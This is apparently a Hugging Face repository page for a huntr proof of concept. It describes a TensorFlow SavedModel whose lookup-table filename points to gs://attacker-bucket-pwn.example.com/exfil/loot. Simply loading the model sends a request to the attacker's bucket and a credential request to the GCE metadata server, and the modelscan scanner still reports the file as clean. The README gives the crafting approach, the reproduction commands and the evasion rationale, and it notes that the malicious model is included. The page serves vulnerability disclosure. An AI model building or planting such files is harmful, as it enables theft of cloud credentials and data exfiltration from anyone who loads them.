Downloads · 30 days
0
EnigmaConsultant/huntr-poc-tf-savedmodel-loadtime-gcs-metadata-ssrf
huntr-poc-tf-savedmodel-loadtime-gcs-metadata-ssrf is a machine learning model from EnigmaConsultant. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for tf-keras.
Target format: TensorFlow SavedModel (.pb) — category load-time-ssrf Verified with: tensorflow 2.21.0, keras 3.15.0, protectai/modelscan 0.8.8 (default settings) Impact: Merely calling tf.savedmodel.load() on the file…
Downloads · 30 days
0
Access
Public
Updated Jul 19, 2026
Repo size
14.5 KB
Likes
0
Public
Click a slice to open those files.
.pb14.5 KB · 51%
From the Hugging Face model README
Target format: TensorFlow SavedModel (.pb) — category load-time-ssrf
Verified with: tensorflow 2.21.0, keras 3.15.0, protectai/modelscan 0.8.8 (default settings)
Impact: Merely calling tf.saved_model.load() on the file makes the loading process issue an
attacker-controlled outbound network request — to an attacker-named Google Cloud Storage bucket
and to the GCE cloud-metadata server (metadata.google.internal / 169.254.169.254) to fetch
the host's credentials. No inference / no served-function call is required. modelscan reports the
file as clean.
A StaticHashTable built from a tf.lookup.TextFileInitializer stores its vocabulary filename
in the graph. When the SavedModel is restored, TensorFlow re-runs the table initializer at load
time (before any inference) so the table is populated — this executes
InitializeTableFromTextFileV2, which opens the filename through tensorflow::gfile.
gfile in the stock pip tensorflow wheel implements the gs:// scheme via a compiled GCS
filesystem (libcurl). Opening a gs://<bucket>/<object> path therefore:
metadata.google.internal (the GCE metadata server) to obtain an OAuth token
(SSRF to 169.254.169.254 — cloud-credential theft on any GCE/GKE/Vertex host), thenstorage.googleapis.com/<attacker-bucket>/<attacker-object>
(attacker fully controls bucket + object = beacon / data-exfil channel).Both requests fire purely from loading the model. The bucket/object string is the only attacker input and it is plain data (a string constant), so no code-execution op is present.
sm_evil_gs/ is a normal-looking SavedModel with one lookup table. Its initializer filename was
set to:
gs://attacker-bucket-pwn.example.com/exfil/loot
craft_gs.py shows exactly how the file is produced: build an ordinary table-model
(build_localfile.py), then rewrite the initializer's filename input in saved_model.pb to the
gs:// constant (bypassing TF's asset-tracking, which would otherwise localise a vocab path).
pip install tensorflow keras modelscan
# 1) modelscan says the malicious model is clean
modelscan -p sm_evil_gs # -> "No issues found!"
# 2) prove the outbound request fires at LOAD (no inference).
# Build a connect(2) redirect shim so we can see/capture the egress locally:
gcc -shared -fPIC -o connect_redirect.so connect_redirect.c -ldl
python listener.py 8888 & # local capture endpoint
REDIR_PORT=8888 LD_PRELOAD=./connect_redirect.so \
python load_only.py sm_evil_gs # loads only; never calls the model
Observed during load (see EVIDENCE.txt for verbatim capture):
google_auth_provider tries metadata.google.internal for a bearer token,connect(2) to a storage.googleapis.com IP (…:443) is intercepted,storage.googleapis.com,Negative control — the benign local-vocab model makes no outbound connection:
REDIR_PORT=8888 LD_PRELOAD=./connect_redirect.so python load_only.py sm_localfile
# >>> BEGIN load / >>> END load ; connect shim log empty
gs://, and where compiled s3:///hdfs://) URIs with no opt-in — a model file should not be
able to drive network egress or cloud-credential fetches simply by being loaded.unsafe_tf_operators only denylists ReadFile/WriteFile, so the
network/table-initializer op family is invisible. (Same allowlist gap noted for the file-I/O op
class; here it is exercised as a load-time network/cloud-metadata primitive.)Shares the modelscan op-allowlist root cause with the file-I/O op-coverage class, but the primitive
here is outbound network / GCS + GCE-metadata credential exfil that fires at saved_model.load
before any inference — a different impact class and trigger point from local file read/write/enum
executed at serve time.